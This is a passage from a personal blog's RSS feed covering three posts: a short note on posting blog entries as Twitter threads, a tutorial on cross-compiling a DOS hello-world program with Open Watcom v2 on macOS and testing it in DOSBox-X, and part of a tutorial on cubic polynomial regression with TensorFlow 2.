<p><blockquote class="twitter-tweet" data-dnt="true" data-theme="dark"><p lang="en" dir="ltr">Posting Blog Posts as Twitter Threads Part 1/n <br><br> Why? Eh, no good reason, but should be fun. <br> Plan of Action <br><br> I recently shifted my website to a static site generator I wrote specifically for myself. 1/5</p>— Navan Chauhan (@navanchauhan) <a rel="noopener" target="_blank" href="https://twitter.com/navanchauhan/status/1408165730487443456?ref_src=twsrc%5Etfw">June 24, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p><blockquote class="twitter-tweet" data-lang="en" data-dnt="true" data-theme="dark"><p lang="en" dir="ltr">Web Version: <a rel="noopener" target="_blank" href="https://t.co/zROU1F5DYv">https://t.co/zROU1F5DYv</a></p>— Navan Chauhan (@navanchauhan) <a rel="noopener" target="_blank" href="https://twitter.com/navanchauhan/status/1408168879617052674?ref_src=twsrc%5Etfw">June 24, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<h2 id="whats-next">What's Next?</h2>
<p>For the next part, I will try to append the code as well.
I actually added the code to this post after running the program.</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2024-03-15-setting-up-macos-for-8088-dos-dev.html
</guid>
<title>
Cross-Compiling Hello World for DOS on macOS
</title>
<description>
This goes through compiling Open Watcom 2 and creating simple hello-world exampls
</description>
<link>https://web.navan.dev/posts/2024-03-15-setting-up-macos-for-8088-dos-dev.html</link>
<pubDate>Fri, 15 Mar 2024 13:16:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="cross-compiling-hello-world-for-dos-on-macos">Cross-Compiling Hello World for DOS on macOS</h1>
<p>Technically this should work for any platform that OpenWatcom 2 supports compiling binaries for. Some instructions are based on <a rel="noopener" target="_blank" href="https://retrocoding.net/openwatcom-gateway-to-ancient-world-of-x86">a post at retrocoding.net</a>,
and <a rel="noopener" target="_blank" href="http://nuclear.mutantstargoat.com/articles/retrocoding/dos01-setup/#hello-world-program">John Tsiombikas's post</a></p>
<h2 id="prerequisites">Prerequisites</h2>
<p>You should already have XCode / Command Line Tools, and Homebrew installed. To compile Open Watcom for DOS you will need DOSBox (I use DOSBox-X).</p>
<div class="codehilite">
<pre><span></span><code>brew<span class="w"> </span>install<span class="w"> </span>--cask<span class="w"> </span>dosbox-x
</code></pre>
</div>
<h2 id="compiling-open-watcom-v2">Compiling Open Watcom v2</h2>
<p><em>If this process is super annoying, I might make a custom homebrew tap to build and install Open Watcom</em></p>
<div class="codehilite">
<pre><span></span><code>git<span class="w"> </span>clone<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2
cp<span class="w"> </span>open-watcom-v2/setvars.sh<span class="w"> </span>custom_setvars.sh
</code></pre>
</div>
<p>Now, edit this <code>setvars.sh</code> file. My file looks like this:</p>
<div class="codehilite">
<pre><span></span><code><span class="ch">#!/bin/zsh</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">OWROOT</span><span class="o">=</span><span class="s2">"/Users/navanchauhan/Developer/8088Stuff/open-watcom-v2"</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">OWTOOLS</span><span class="o">=</span>CLANG
<span class="nb">export</span><span class="w"> </span><span class="nv">OWDOCBUILD</span><span class="o">=</span><span class="m">0</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">OWGUINOBUILD</span><span class="o">=</span><span class="m">0</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">OWDISTRBUILD</span><span class="o">=</span><span class="m">0</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">OWDOSBOX</span><span class="o">=</span><span class="s2">"/Applications/dosbox-x.app/Contents/MacOS/dosbox-x"</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">OWOBJDIR</span><span class="o">=</span>binbuildV01
.<span class="w"> </span><span class="s2">"</span><span class="nv">$OWROOT</span><span class="s2">/cmnvars.sh"</span>
<span class="nb">echo</span><span class="w"> </span><span class="s2">"OWROOT=</span><span class="nv">$OWROOT</span><span class="s2">"</span>
<span class="nb">cd</span><span class="w"> </span><span class="s2">"</span><span class="nv">$OWROOT</span><span class="s2">"</span>
</code></pre>
</div>
<p>Note, your <code>OWRTOOT</code> is definitely going to be in a different location.</p>
<div class="codehilite">
<pre><span></span><code><span class="nb">source</span><span class="w"> </span>./custom_setvars.sh
./build.sh
./build.sh<span class="w"> </span>rel
</code></pre>
</div>
<p>This will build, and then copy everything to the <code>rel</code> directory inside <code>open-watcom-v2</code> directory. Since I ran this on an Apple Silicon Mac,
all the binaries for me are in the <code>armo64</code> directory. You can now move everything inside the rel folder to another location, or create a simple
script to init all variables whenever you want.</p>
<p>I like having a script called <code>exportVarsForDOS.sh</code> </p>
<div class="codehilite">
<pre><span></span><code><span class="ch">#!/bin/zsh</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">WATCOM</span><span class="o">=</span>/Users/navanchauhan/Developer/8088Stuff/open-watcom-v2/rel
<span class="nb">export</span><span class="w"> </span><span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:<span class="nv">$WATCOM</span>/armo64
<span class="nb">export</span><span class="w"> </span><span class="nv">EDDAT</span><span class="o">=</span><span class="nv">$WATCOM</span>/eddat
<span class="c1"># For DOS 8088/8086 development</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">INCLUDE</span><span class="o">=</span><span class="nv">$WATCOM</span>/h
<span class="nb">export</span><span class="w"> </span><span class="nv">LIB</span><span class="o">=</span><span class="nv">$WATCOM</span>/lib286<span class="w"> </span><span class="c1"># You don't really need this</span>
</code></pre>
</div>
<p>Then, when you need to load up these variables, you can simply run <code>source exportVarsForDOS.sh</code> or <code>. exportVarsForDOS.sh</code></p>
<h2 id="hello-world">Hello World</h2>
<h3 id="buliding-without-any-makefiles">Buliding without any Makefiles</h3>
<p>Create a new file called <code>example1.c</code></p>
<div class="codehilite">
<pre><span></span><code><span class="cp">#include</span><span class="cpf"><stdio.h></span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Hello World!"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre>
</div>
<p>First we compile the code:</p>
<div class="codehilite">
<pre><span></span><code>$<span class="w"> </span>wcc<span class="w"> </span>example1.c
Open<span class="w"> </span>Watcom<span class="w"> </span>C<span class="w"> </span>x86<span class="w"> </span><span class="m">16</span>-bit<span class="w"> </span>Optimizing<span class="w"> </span>Compiler
Version<span class="w"> </span><span class="m">2</span>.0<span class="w"> </span>beta<span class="w"> </span>Mar<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">2024</span><span class="w"> </span><span class="m">13</span>:11:55
Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">2002</span>-2024<span class="w"> </span>The<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Contributors.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Portions<span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">1984</span>-2002<span class="w"> </span>Sybase,<span class="w"> </span>Inc.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Source<span class="w"> </span>code<span class="w"> </span>is<span class="w"> </span>available<span class="w"> </span>under<span class="w"> </span>the<span class="w"> </span>Sybase<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Public<span class="w"> </span>License.
See<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2#readme<span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
example1.c:<span class="w"> </span><span class="m">7</span><span class="w"> </span>lines,<span class="w"> </span>included<span class="w"> </span><span class="m">818</span>,<span class="w"> </span><span class="m">0</span><span class="w"> </span>warnings,<span class="w"> </span><span class="m">0</span><span class="w"> </span>errors
Code<span class="w"> </span>size:<span class="w"> </span><span class="m">19</span>
</code></pre>
</div>
<p>Then, link to make an executable:</p>
<div class="codehilite">
<pre><span></span><code>$<span class="w"> </span>wlink<span class="w"> </span>name<span class="w"> </span>example1.exe<span class="w"> </span>system<span class="w"> </span>dos<span class="w"> </span>file<span class="w"> </span>example1.o
Open<span class="w"> </span>Watcom<span class="w"> </span>Linker<span class="w"> </span>Version<span class="w"> </span><span class="m">2</span>.0<span class="w"> </span>beta<span class="w"> </span>Mar<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">2024</span><span class="w"> </span><span class="m">13</span>:10:09
Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">2002</span>-2024<span class="w"> </span>The<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Contributors.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Portions<span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">1985</span>-2002<span class="w"> </span>Sybase,<span class="w"> </span>Inc.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Source<span class="w"> </span>code<span class="w"> </span>is<span class="w"> </span>available<span class="w"> </span>under<span class="w"> </span>the<span class="w"> </span>Sybase<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Public<span class="w"> </span>License.
See<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2#readme<span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
loading<span class="w"> </span>object<span class="w"> </span>files
searching<span class="w"> </span>libraries
creating<span class="w"> </span>a<span class="w"> </span>DOS<span class="w"> </span>executable<span class="w"> </span>
</code></pre>
</div>
<p>If you want to test this executable, jump to the section titled <code>Testing with DOSBox-X</code> below.</p>
<h3 id="simple-makefile">Simple Makefile</h3>
<div class="codehilite">
<pre><span></span><code><span class="nv">obj</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>main.o<span class="w"> </span>hello.o
<span class="nv">bin</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>tizts.com
<span class="nv">CC</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>wcc
<span class="nv">CFLAGS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>-0
<span class="nv">LD</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>wlink
<span class="nf">$(bin)</span><span class="o">:</span><span class="w"> </span><span class="k">$(</span><span class="nv">obj</span><span class="k">)</span>
<span class="w"> </span><span class="k">$(</span>LD<span class="k">)</span><span class="w"> </span>name<span class="w"> </span><span class="nv">$@</span><span class="w"> </span>system<span class="w"> </span>dos<span class="w"> </span>file<span class="w"> </span>main.o<span class="w"> </span>file<span class="w"> </span>hello.o<span class="w"> </span>
<span class="nf">.c.o</span><span class="o">:</span>
<span class="w"> </span><span class="k">$(</span>CC<span class="k">)</span><span class="w"> </span><span class="k">$(</span>CFLAGS<span class="k">)</span><span class="w"> </span>$<
<span class="nf">clean</span><span class="o">:</span>
<span class="w"> </span>rm<span class="w"> </span><span class="k">$(</span>obj<span class="k">)</span><span class="w"> </span><span class="k">$(</span>bin<span class="k">)</span>
</code></pre>
</div>
<p>Where, <code>main.c</code></p>
<div class="codehilite">
<pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">hello</span><span class="p">(</span><span class="kt">void</span><span class="p">);</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">hello</span><span class="p">();</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre>
</div>
<p>and <code>hello.c</code></p>
<div class="codehilite">
<pre><span></span><code><span class="cm">/* hello.c */</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="kt">void</span><span class="w"> </span><span class="nf">hello</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Hello!"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre>
</div>
<p>To compile into <code>tizts.com</code> simply run <code>wmake</code></p>
<div class="codehilite">
<pre><span></span><code>$<span class="w"> </span>wmake
➜<span class="w"> </span>simple-cpp<span class="w"> </span>wmake
Open<span class="w"> </span>Watcom<span class="w"> </span>Make<span class="w"> </span>Version<span class="w"> </span><span class="m">2</span>.0<span class="w"> </span>beta<span class="w"> </span>Mar<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">2024</span><span class="w"> </span><span class="m">13</span>:10:16
Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">2002</span>-2024<span class="w"> </span>The<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Contributors.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Portions<span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">1988</span>-2002<span class="w"> </span>Sybase,<span class="w"> </span>Inc.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Source<span class="w"> </span>code<span class="w"> </span>is<span class="w"> </span>available<span class="w"> </span>under<span class="w"> </span>the<span class="w"> </span>Sybase<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Public<span class="w"> </span>License.
See<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2#readme<span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
<span class="w"> </span>wcc<span class="w"> </span>-0<span class="w"> </span>main.c
Open<span class="w"> </span>Watcom<span class="w"> </span>C<span class="w"> </span>x86<span class="w"> </span><span class="m">16</span>-bit<span class="w"> </span>Optimizing<span class="w"> </span>Compiler
Version<span class="w"> </span><span class="m">2</span>.0<span class="w"> </span>beta<span class="w"> </span>Mar<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">2024</span><span class="w"> </span><span class="m">13</span>:11:55
Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">2002</span>-2024<span class="w"> </span>The<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Contributors.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Portions<span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">1984</span>-2002<span class="w"> </span>Sybase,<span class="w"> </span>Inc.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Source<span class="w"> </span>code<span class="w"> </span>is<span class="w"> </span>available<span class="w"> </span>under<span class="w"> </span>the<span class="w"> </span>Sybase<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Public<span class="w"> </span>License.
See<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2#readme<span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
main.c<span class="o">(</span><span class="m">8</span><span class="o">)</span>:<span class="w"> </span>Warning!<span class="w"> </span>W138:<span class="w"> </span>No<span class="w"> </span>newline<span class="w"> </span>at<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>file
main.c:<span class="w"> </span><span class="m">8</span><span class="w"> </span>lines,<span class="w"> </span>included<span class="w"> </span><span class="m">53</span>,<span class="w"> </span><span class="m">1</span><span class="w"> </span>warnings,<span class="w"> </span><span class="m">0</span><span class="w"> </span>errors
Code<span class="w"> </span>size:<span class="w"> </span><span class="m">12</span>
<span class="w"> </span>wcc<span class="w"> </span>-0<span class="w"> </span>hello.c
Open<span class="w"> </span>Watcom<span class="w"> </span>C<span class="w"> </span>x86<span class="w"> </span><span class="m">16</span>-bit<span class="w"> </span>Optimizing<span class="w"> </span>Compiler
Version<span class="w"> </span><span class="m">2</span>.0<span class="w"> </span>beta<span class="w"> </span>Mar<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">2024</span><span class="w"> </span><span class="m">13</span>:11:55
Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">2002</span>-2024<span class="w"> </span>The<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Contributors.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Portions<span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">1984</span>-2002<span class="w"> </span>Sybase,<span class="w"> </span>Inc.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Source<span class="w"> </span>code<span class="w"> </span>is<span class="w"> </span>available<span class="w"> </span>under<span class="w"> </span>the<span class="w"> </span>Sybase<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Public<span class="w"> </span>License.
See<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2#readme<span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
hello.c:<span class="w"> </span><span class="m">8</span><span class="w"> </span>lines,<span class="w"> </span>included<span class="w"> </span><span class="m">818</span>,<span class="w"> </span><span class="m">0</span><span class="w"> </span>warnings,<span class="w"> </span><span class="m">0</span><span class="w"> </span>errors
Code<span class="w"> </span>size:<span class="w"> </span><span class="m">17</span>
<span class="w"> </span>wlink<span class="w"> </span>name<span class="w"> </span>tizts.com<span class="w"> </span>system<span class="w"> </span>dos<span class="w"> </span>file<span class="w"> </span>main.o<span class="w"> </span>file<span class="w"> </span>hello.o
Open<span class="w"> </span>Watcom<span class="w"> </span>Linker<span class="w"> </span>Version<span class="w"> </span><span class="m">2</span>.0<span class="w"> </span>beta<span class="w"> </span>Mar<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">2024</span><span class="w"> </span><span class="m">13</span>:10:09
Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">2002</span>-2024<span class="w"> </span>The<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Contributors.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Portions<span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">1985</span>-2002<span class="w"> </span>Sybase,<span class="w"> </span>Inc.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Source<span class="w"> </span>code<span class="w"> </span>is<span class="w"> </span>available<span class="w"> </span>under<span class="w"> </span>the<span class="w"> </span>Sybase<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Public<span class="w"> </span>License.
See<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2#readme<span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
loading<span class="w"> </span>object<span class="w"> </span>files
searching<span class="w"> </span>libraries
creating<span class="w"> </span>a<span class="w"> </span>DOS<span class="w"> </span>executable
</code></pre>
</div>
<h3 id="using-cmake">Using CMake</h3>
<p>Create a file called <code>CMakeLists.txt</code></p>
<div class="codehilite">
<pre><span></span><code><span class="nb">project</span><span class="p">(</span><span class="s">hello</span><span class="p">)</span>
<span class="nb">set</span><span class="p">(</span><span class="s">SOURCES</span><span class="w"> </span><span class="s">abc.c</span><span class="p">)</span>
<span class="nb">add_executable</span><span class="p">(</span><span class="s">hello</span><span class="w"> </span><span class="o">${</span><span class="nv">SOURCES</span><span class="o">}</span><span class="p">)</span>
</code></pre>
</div>
<p>Where, <code>abc.c</code> is:</p>
<div class="codehilite">
<pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Does this work?"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code>mkdir<span class="w"> </span>build
<span class="nb">cd</span><span class="w"> </span>build
</code></pre>
</div>
<p>And build using CMake</p>
<pre><code>cmake -DCMAKE_SYSTEM_NAME=DOS -DCMAKE_SYSTEM_PROCESSOR=I86 -DCMAKE_C_FLAGS="-0 -bt=dos -d0 -oaxt" -G "Watcom WMake" ../..
</code></pre>
<p>There you have it. Three different ways to compile a C program on a macOS device in 2024 that can run on an IBM PC 5150 (which was released in 1981!)</p>
<h2 id="testing-with-dosbox-x">Testing with DOSBox-X</h2>
<div class="codehilite">
<pre><span></span><code>cp<span class="w"> </span>example1.exe<span class="w"> </span>~/Downloads
/Applications/dosbox-x.app/Contents/MacOS/dosbox-x
</code></pre>
</div>
<p>In DOSBox-X we now mount the <code>~/Downloads</code> folder as our <code>C:</code> drive</p>
<pre><code>mount C ~/Downloads
</code></pre>
<p>Switch to the C drive</p>
<pre><code>C:
</code></pre>
<p>Run the program:</p>
<pre><code>example1
</code></pre>
<p><img src="/assets/posts/dosbox/hello-world.png" alt="Running our program in DOSBox-X" /></p>
<p><em>My DOSBox setup might look slightly different than yours...</em></p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2024-03-21-Polynomial-Regression-in-TensorFlow-2.html
</guid>
<title>
Polynomial Regression Using TensorFlow 2.x
</title>
<description>
Predicting n-th degree polynomials using TensorFlow 2.x
</description>
<link>https://web.navan.dev/posts/2024-03-21-Polynomial-Regression-in-TensorFlow-2.html</link>
<pubDate>Thu, 21 Mar 2024 12:46:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="polynomial-regression-using-tensorflow-2x">Polynomial Regression Using TensorFlow 2.x</h1>
<p>I have a similar post titled <a rel="noopener" target="_blank" href="/posts/2019-12-16-TensorFlow-Polynomial-Regression.html">Polynomial Regression Using Tensorflow</a> that used <code>tensorflow.compat.v1</code> (Which still works as of TF 2.16). But, I thought it would be nicer to redo it with newer TF versions. </p>
<p>I will be skipping all the introductions about polynomial regression and jumping straight to the code. Personally, I prefer using <code>scikit-learn</code> for this task.</p>
<h2 id="position-vs-salary-dataset">Position vs Salary Dataset</h2>
<p>Again, we will be using https://drive.google.com/file/d/1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9/view (Salary vs Position Dataset)</p>
<p>If you are in a Python Notebook environment like Kaggle or Google Colaboratory, you can simply run:</p>
<div class="codehilite">
<pre><span></span><code><span class="nt">!wget</span><span class="na"> --no-check-certificate 'https</span><span class="p">:</span><span class="nc">//docs.google.com/uc?export</span><span class="o">=</span><span class="l">download&id=1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9' -O data.csv</span>
</code></pre>
</div>
<h2 id="code">Code</h2>
<p>If you just want to copy-paste the code, scroll to the bottom for the entire snippet. Here I will try and walk through setting up code for a 3rd-degree (cubic) polynomial</p>
<h3 id="imports">Imports</h3>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
<span class="kn">import</span> <span class="nn">tensorflow</span> <span class="k">as</span> <span class="nn">tf</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</code></pre>
</div>
<h3 id="reading-the-dataset">Reading the Dataset</h3>
<div class="codehilite">
<pre><span></span><code><span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s2">"data.csv"</span><span class="p">)</span>
</code></pre>
</div>
<h3 id="variables-and-constants">Variables and Constants</h3>
<p>Here, we initialize the X and Y values as constants, since they are not going to change. The coefficients are defined as variables.</p>
<div class="codehilite">
<pre><span></span><code><span class="n">X</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="s2">"Level"</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>
<span class="n">Y</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">constant</span><span class="p">(</span><span class="n">df</span><span class="p">[</span><span class="s2">"Salary"</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span>
<span class="n">coefficients</span> <span class="o">=</span> <span class="p">[</span><span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">()</span> <span class="o">*</span> <span class="mf">0.01</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">float32</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">)]</span>
</code></pre>
</div>
<p>Here, <code>X</code> and <code>Y</code> are the values from our dataset. We initialize the coefficients for the equations as small random values.</p>
<p>These coefficients are evaluated by Tensorflow's <code>tf.math.poyval</code> function which returns the n-th order polynomial based on how many coefficients are passed. Since our list of coefficients contains 4 different variables, it will be evaluated as:</p>
<pre><code>y = (x**3)*coefficients[3] + (x**2)*coefficients[2] + (x**1)*coefficients[1] (x**0)*coefficients[0]
</code></pre>
<p>Which is equivalent to the general cubic equation:</p>
<script src="https://cdn.jsdelivr.net/npm/mathjax@4.0.0-beta.4/tex-mml-chtml.js" id="MathJax-script"></script>
<script src="https://cdn.jsdelivr.net/npm/mathjax@4.0.0-beta.4/input/tex/extensions/noerrors.js" charset="UTF-8"></script>
<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mi>y</mi><mo>=</mo><mi>a</mi><msup><mi>x</mi><mn>3</mn></msup><mo>+</mo><mi>b</mi><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mi>c</mi><mi>x</mi><mo>+</mo><mi>d</mi></mrow></math>
<h3 id="optimizer-selection-training">Optimizer Selection & Training</h3>
<div class="codehilite">
<pre><span></span><code><span class="n">optimizer</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">keras</span><span class="o">.</span><span class="n">optimizers</span><span class="o">.</span><span class="n">Adam</span><span class="p">(</span><span class="n">learning_rate</span><span class="o">=</span><span class="mf">0.3</span><span class="p">)</span>
<span class="n">num_epochs</span> <span class="o">=</span> <span class="mi">10_000</span>
<span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_epochs</span><span class="p">):</span>
<span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">GradientTape</span><span class="p">()</span> <span class="k">as</span> <span class="n">tape</span><span class="p">:</span>
<span class="n">y_pred</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">math</span><span class="o">.</span><span class="n">polyval</span><span class="p">(</span><span class="n">coefficients</span><span class="p">,</span> <span class="n">X</span><span class="p">)</span>
<span class="n">loss</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_mean</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">square</span><span class="p">(</span><span class="n">y</span> <span class="o">-</span> <span class="n">y_pred</span><span class="p">))</span>
<span class="n">grads</span> <span class="o">=</span> <span class="n">tape</span><span class="o">.</span><span class="n">gradient</span><span class="p">(</span><span class="n">loss</span><span class="p">,</span> <span class="n">coefficients</span><span class="p">)</span>
<span class="n">optimizer</span><span class="o">.</span><span class="n">apply_gradients</span><span class="p">(</span><span class="nb">zip</span><span class="p">(</span><span class="n">grads</span><span class="p">,</span> <span class="n">coefficients</span><span class="p">))</span>
<span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">1000</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"Epoch: </span><span class="si">{</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s2">, Loss: </span><span class="si">{</span><span class="n">loss</span><span class="o">.</span><span class="n">numpy</span><span class="p">()</span><span class="si">}</span><span class="s2">"</span>
</code></pre>
</div>
<p>In TensorFlow 1, we would have been using <code>tf.Session</code> instead. </p>
<p>Here we are using <code>GradientTape()</code> instead, to keep track of the loss evaluation and coefficients. This is crucial, as our optimizer needs these gradients to be able to optimize our coefficients. </p>
<p>Our loss function is Mean Squared Error (MSE):</p>
<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mo>=</mo><mfrac><mrow><mn>1</mn></mrow><mrow><mi>n</mi></mrow></mfrac><msubsup><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mrow><mi>n</mi></mrow></msubsup><mrow><mo stretchy="false">(</mo><mi>Y</mi><mi>_</mi><mi>i</mi><mo>−</mo><mover><mrow><mi>Y</mi><mi>_</mi><mi>i</mi></mrow><mo stretchy="false">^</mo></mover><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow></mrow></math>
<p>Where <math xmlns="http://www.w3.org/1998/Math/MathML"><mover><msub><mi>Y</mi><mi>i</mi></msub><mo stretchy="false" style="math-style:normal;math-depth:0;">^</mo></mover></math> is the predicted value and <math xmlns="http://www.w3.org/1998/Math/MathML"><msub><mi>Y</mi><mi>i</mi></msub></math> is the actual value</p>
